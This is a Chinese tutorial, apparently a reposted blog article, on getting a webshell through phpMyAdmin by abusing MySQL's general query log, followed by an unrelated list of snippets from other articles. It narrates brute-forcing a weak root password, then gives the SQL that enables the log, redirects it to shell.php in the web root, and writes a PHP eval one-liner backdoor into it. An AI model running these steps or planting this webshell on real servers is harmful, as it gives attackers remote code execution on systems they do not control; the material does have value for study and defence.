shell 写入文件_phpMyAdmin利用日志文件GetSHELL

phpMyAdmin简介

phpMyAdmin 是众多MySQL图形化管理工具中使用最为广泛的一种,是一款使用PHP 开发的基于B/S模式的MySQL客户端软件,该工具是基于 Web 跨平台的管理程序,并且支持简体中文,用户可以在官网上下载最新版本的。

GetSHELL前提

1、phpMyAdmin利用日志文件GetSHELL前提账号必须有可读可写权限

2、MySQL版本大于5.0,MySQL 5.0版本以上会创建日志文件,我们通过修改日志文件的全局变量,就可以GetSHELL

3、满足上方两个条件,还需要知道网站的绝对路径,对于网站的绝对路径查找有很多方法,在我上一篇文章里有讲解到:传送门

GetSHELL过程

219d6ea7e251d1486ff9a7d3e38f9391.png

这边是通过php探针获取到了网站的绝对路径:C:/phpStudy/WWW

60cd686179600e679eb53b90b728289d.png

接着是通过弱口令爆破来得到了phpMyAdmin的登陆账号密码:root

2835844ccf25a9e6ba9cbb2b3f326eab.png

进入到phpMyAdmin管理页面后,得到一些关键信息:

  • 数据库服务器:
服务器: localhost via TCP/IP软件: MySQL软件版本: 5.5.40 - MySQL Community Server (GPL)协议版本: 10用户: root@localhost服务器字符集: UTF-8 Unicode (utf8)
  • 网站服务器
Apache/2.4.10 (Win32) OpenSSL/0.9.8zb PHP/5.2.17数据库客户端版本: libmysql - 5.0.51aPHP 扩展: mysqli 文档

得知MySQL的版本是大于5.0,那么应该可以通过日志写入shell

查看日志的信息

0f9b9221aaeb0f7aa54cf78690d361ab.png
show variables like '%general%';

日志读写默认是关闭的OFF,然后我们打开日志读写功能:

8f4c6ecd03404ac04255a4f0d03803ef.png
打开general_log日志读写功能SET GLOBAL general_log='on'
ec50e5fc9be60c4a155ee19f6be92efd.png

创建文件

由于之前我们通过php探针得到了网站的绝对路径,然后我们就可以写入shell.php到网站的根目录下:

e5f6bea38be932aabacbc4c20e1da020.png
SET GLOBAL general_log_file='C:/phpStudy/WWW/shell.php'

这个时候,对应的路径下就会生成一个shell.php脚本文件:

40bf5b9fd747aad2a18f5726f77480ef.png

写入一句话到shell.php

PHP一句话木马:

1<?php @eval($_POST[liuwx]);?>

写入一句话语句:

1SELECT '<?php @eval($_POST[liuwx]);?>'
3dc967b39af0071c4150c0a7b22a8e27.png

这个时候就成功写入一句话到了shell.php里:

ac93e21bdb25968a44435ad7faba3565.png

成功GetSHELL:

6da539022734b7f1779a53bb2dbac3f7.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/562066.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HTML+CSS+JS实现 ❤️酷炫彩虹旋转隧道特效❤️

效果演示&#xff1a; 代码目录&#xff1a; 主要代码实现&#xff1a; 部分CSS样式&#xff1a; #c {position: absolute;top: calc(50vh - 200px);left: calc(50vw - 200px);}#alpha {position: absolute;top: calc(50vh 220px);left: calc(50vw - 50px);width: 100px;hei…

informix和mysql的区别_DB2与Informix区别比较

DB2与Informix比较特性 DB2 Informix开放性/可移植性 IBMDB2UDB在各层面&#xff0c;从网络协议的支持到应用开发程序的编程接口&#xff0c;数据库存储程序及触发器&#xff0c;服务器之间的分布式运作&#xff0c;都是基于最新的国际标准&#xff0c;以确保其开放性及移植性。…

HTML+CSS+JS实现 ❤️照相机快门图片动画特效❤️

效果演示&#xff1a; 代码目录&#xff1a; 主要代码实现&#xff1a; 部分CSS样式&#xff1a; html {height: 100%;overflow: hidden; }body {min-height: 100%; }.container {cursor: pointer;background-position: center center;background-size: cover;background-im…

往map里的vector添加_面试官问我同步容器(如Vector)的所有操作一定是线程安全的吗?我懵了!...

为了方便编写出线程安全的程序&#xff0c;Java里面提供了一些线程安全类和并发工具&#xff0c;比如&#xff1a;同步容器、并发容器、阻塞队列等。最常见的同步容器就是Vector和Hashtable了&#xff0c;那么&#xff0c;同步容器的所有操作都是线程安全的吗&#xff1f;这个问…

HTML+CSS+JS实现 ❤️3D方块弹跳动画特效❤️

效果演示&#xff1a; 代码目录&#xff1a; 主要代码实现&#xff1a; 部分CSS样式&#xff1a; *, *::before, *::after {padding: 0;margin: 0 auto;box-sizing: border-box;transform-style: preserve-3d; }body {background-color: black;min-height: 100vh;display: f…

HTML+CSS+JS实现 ❤️520爱心背景表白网页动画特效❤️

效果演示&#xff1a; 代码目录&#xff1a; 主要代码实现&#xff1a; 部分HTML代码 : <!DOCTYPE html> <html><head><meta http-equiv"Content-Type" content"text/html; charsetUTF-8"><title>好朋友-相册</title&…

pillow python 划线_Python-PIL(pillow)图片处理入门(一)

Pillow是Python里的图像处理库(PIL&#xff1a;Python Image Library)&#xff0c;提供了了广泛的文件格式支持&#xff0c;强大的图像处理能力&#xff0c;主要包括图像储存、图像显示、格式转换以及基本的图像处理操作等。1)使用 Image 类PIL最重要的类是 Image class, 你可以…

python中的键不允许重复_为什么python允许您使用重复键创建字典

>>> d {a : b, a : c}>>> d{a: c}不,这只是你使用预先存在的密钥初始化一个字典,它只是覆盖了现有密钥的当前值.>>> dis.dis("d {a : b, a : c}")1 0 BUILD_MAP 23 LOAD_CONST 0 (b)6 LOAD_CONST 1 (a)9 STORE_MAP10 LOAD_CONST 2 (c)1…

HTML+CSS+JS实现 ❤️three 3D铅笔绘图工具特效❤️

效果演示&#xff1a; 代码目录&#xff1a; 主要代码实现&#xff1a; 部分CSS样式&#xff1a; #mfPreviewBar {display: none !important; }html, body {position: fixed;overflow: hidden;touch-action: none; }body {background-color: #f7f4f0;cursor: url("http…

mysql linux改密码忘记了怎么办_linux上mysql改密码忘了怎么办?

解决方法&#xff1a;1、在my.cnf中&#xff0c;增加“[mysqld]”和“skip-grant-tables”2行代码&#xff0c;用于登录时跳过密码验证&#xff1b;2、启动mysql服务&#xff0c;并登录mysql&#xff1b;3、连接mysql数据库&#xff0c;使用UPDATE命令修改用户密码即可。linux上…

HTML+CSS+JS实现 ❤️透明的水滴文字背景特效❤️

效果演示&#xff1a; 代码目录&#xff1a; 主要代码实现&#xff1a; 部分CSS样式&#xff1a; import url(https://fonts.googleapis.com/css2?familyMontserrat:wght100&displayswap); import url(https://fonts.googleapis.com/css2?familyPoppins:wght900&d…

sqoop导出数据单mysql_sqoop导出hive表数据到mysql

直接在mysql里从本地文件系统导入数据mysql》LOAD DATA LOCAL INFILE C:\\Users\\asys\\Documents\\Tencent Files\\13174605\\FileRecv\\2015082818 INTO TABLE track_logFIELDS TERMINATED BY \t LINES TERMINATED BY \n; (注意这里文件是从linux导出的&#xff0c;以\n结尾…

HTML+CSS+JS实现 ❤️3D旋转魔方图片相册特效❤️

效果演示&#xff1a; 代码目录&#xff1a; 主要代码实现&#xff1a; 部分CSS样式&#xff1a; background: url(../img/s3.jpg);background-size: 100% 100%;opacity: 0.8;transform: rotateY(90deg) translateZ(200px); }.box .box1 .left {background: url(../img/s4.jp…

HTML+CSS+JS实现 ❤️响应式的幸运大转盘❤️

效果演示&#xff1a; 代码目录&#xff1a; 主要代码实现&#xff1a; 部分CSS样式&#xff1a; .winnerBox {max-width: 40rem;padding: 30px;margin: 30px auto;/*height: calc(100vh - 98px);*//*background-color: #fd6504 #9470fd;*/background: linear-gradient(to b…

maya python 开根号_maya python

胡泳滨MayaPython简易教程&#xff0c;如需转载&#xff0c;请标明出处地址&#xff1a;http://huyongbin.blogbus.com/c3363976/谢谢配合&#xff01;MayaPython第一篇 - 介绍大家好&#xff0c;这是一个简易的MAYA PYTHON学习教程。简易教程的目的是可以让更多的人快速掌握这…

HTML+CSS+JS实现 ❤️发光的线条爱心形状动画特效❤️

效果演示&#xff1a; 代码目录&#xff1a; 主要代码实现&#xff1a; 部分CSS样式&#xff1a; body {background-color: #000;margin: 0;overflow: hidden;background-repeat: no-repeat; } HTML代码 : <!DOCTYPE html> <html lang"en"><head…

mysql 钩子_面试官: 什么是 Hook (钩子) 线程以及应用场景?

一、Hook 线程介绍通常情况下&#xff0c;我们可以向应用程序注入一个或多个 Hook (钩子) 线程&#xff0c;这样&#xff0c;在程序即将退出的时候&#xff0c;也就是 JVM 程序即将退出的时候&#xff0c;Hook 线程就会被启动执行。先看一段示例代码&#xff1a;①&#xff1a;…

HTML+CSS+JS实现 ❤️H5 3D传送带视差照片特效❤️

效果演示&#xff1a; 代码目录&#xff1a; 主要代码实现&#xff1a; 部分CSS样式&#xff1a; html, body, .stage, .ring, .img {width: 100%;height: 100%;transform-style: preserve-3d;user-select: none; }html, body, .stage {overflow: hidden;background: #000; …

mysql慢查询日志轮转_MySQL slow log相关参数解释

slow_query_log1 #是否启用慢查询日志&#xff0c;1为启用&#xff0c;0为禁用slow_query_log_fileslow.log #指定慢查询日志文件的路径和名字&#xff0c;可使用绝对路径指定&#xff1b;默认值是主机名_slow.log&#xff0c;位于datadir目录long_query_time2 …

HTML+CSS+JS实现 ❤️h5酷炫的天体木星动画特效❤️

效果演示&#xff1a; 代码目录&#xff1a; 主要代码实现&#xff1a; 部分CSS样式&#xff1a; body {margin: 0;overflow: hidden;position: relative;width: 100vw;height: 100vh;background-image: url("../img/bg.jpg");background-size: cover; }canvas {d…